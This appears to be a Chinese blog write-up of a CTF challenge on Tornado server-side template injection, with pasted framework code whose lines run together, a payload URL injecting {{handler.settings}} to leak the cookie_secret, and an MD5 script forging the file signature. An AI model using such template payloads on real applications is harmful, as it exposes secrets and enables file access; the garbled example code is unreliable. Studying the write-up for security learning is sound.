考点:SSTI注入

原理:

tornado render是python中的一个渲染函数,也就是一种模板,通过调用的参数不同,生成不同的网页,如果用户对render内容可控,不仅可以注入XSS代码,而且还可以通过{{}}进行传递变量和执行简单的表达式。

网上看到的例子:

#!/usr/bin/env python
# -*- coding:utf-8 -*-
from tornado.web import UIModule
from tornado import escape class custom(UIModule): def render(self, *args, **kwargs):
return escape.xhtml_escape('<h1>wupeiqi</h1>')
#return escape.xhtml_escape('<h1>wupeiqi</h1>')
#!/usr/bin/env python
# -*- coding:utf-8 -*- import tornado.ioloop
import tornado.web class MainHandler(tornado.web.RequestHandler):
def get(self):
self.render('index.html') class LoginHandler(BaseHandler):
def get(self):
'''
当用户访登录的时候我们就得给他写cookie了,但是这里没有写在哪里写了呢?
在哪里呢?之前写的Handler都是继承的RequestHandler,这次继承的是BaseHandler是自己写的Handler
继承自己的类,在类了加扩展initialize! 在这里我们可以在这里做获取用户cookie或者写cookie都可以在这里做
'''
'''
我们知道LoginHandler对象就是self,我们可不可以self.set_cookie()可不可以self.get_cookie()
'''
# self.set_cookie()
# self.get_cookie() self.render('login.html', **{'status': ''}) def login(request):
#获取用户输入
login_form = AccountForm.LoginForm(request.POST)
if request.method == 'POST':
#判断用户输入是否合法
if login_form.is_valid():#如果用户输入是合法的
username = request.POST.get('username')
password = request.POST.get('password')
if models.UserInfo.objects.get(username=username) and models.UserInfo.objects.get(username=username).password == password:
request.session['auth_user'] = username
return redirect('/index/')
else:
return render(request,'account/login.html',{'model': login_form,'backend_autherror':'用户名或密码错误'})
else:
error_msg = login_form.errors.as_data()
return render(request,'account/login.html',{'model': login_form,'errors':error_msg}) # 如果登录成功,写入session,跳转index
return render(request, 'account/login.html', {'model': login_form})

参数传递:在tornado模板中,存在一些可以访问的快速对象

 <title>
{{ escape(handler.settings["cookie"]) }}
</title>

复现:

  要点:获取cookie_secret

  handler.settings指向RequestHandler.settings
而RequestHandler.settings又指向self.application.settings   
所有handler.settings就指向RequestHandler.application.settings了

payload:

http://cc1a6351-2a20-4744-a50e-4b1342c87929.node3.buuoj.cn/error?msg={{handler.settings}}

然后根据题目计算MD5

import hashlib

def md5value(s):
md5 = hashlib.md5()
md5.update(s.encode())
return md5.hexdigest() def mdfive2():
filename = '/fllllllllllllag'
cookie = r"363b486d-fb09-45c1-bae5-75d1ba84076a"
print(md5value(cookie + md5value(filename))) mdfive2()

学习链接:

SSTI模板注入

Python中从服务端模板注入到沙盒逃逸的源码探索 (一)

Tornado框架学习

最新文章

  1. coreseek增量索引合并
  2. [SQL] SQL 查出一张表中重复的所有记录
  3. [转载]jquery中attr和prop的区别
  4. ImageMagick常用指令详解
  5. Verilog之串口(UART)通信
  6. mysql定时计划任务,ON COMPLETION [NOT] PRESERVE 当单次计划任务执行完毕后或当重复性的计划任务执行到了ENDS阶段。而声明PRESERVE的作用是使事件在执行完毕后不会被Drop掉
  7. 2016 CocosPods安装教程
  8. Ext.Net学习笔记04:Ext.Net布局
  9. POJ2251 Dungeon Master(bfs)
  10. 查询数据库返回List&lt;Entity&gt;问题
  11. 使用SQLCMD在SQLServer执行多个脚本
  12. poj3270 &amp;&amp; poj 1026(置换问题)
  13. Prometheus部署监控容器
  14. 用AtomicStampedReference解决ABA问题
  15. MySQL中的文件
  16. 5.C#知识点:ref和Out关键字浅谈
  17. 003_vim使用tip
  18. Python给我的小伙伴来个微信机器人
  19. freePBX汉化方法记录——备忘
  20. js 判断数据类型的几种方法

热门文章

  1. Ubuntu系统下使用php7+mysql+apache2搭建自己的博客
  2. 如何实现广告响应式滚动 OwlCarousel2
  3. 《自拍教程25》在Linux上配置环境变量
  4. 字段类型(uniqueidentifier)问题
  5. 【macOS使用技巧】使用空格键快速预览文件内容
  6. MATLAB应用专题part1-电力电子仿真技术
  7. Android(安卓)全套开发资料视频+源码
  8. Java连载86-List集合详解
  9. 2020省选模拟训练1 排列(perm)多项式exp+EGF
  10. 如何在php7.2/php7.3中安装mcrypt扩展?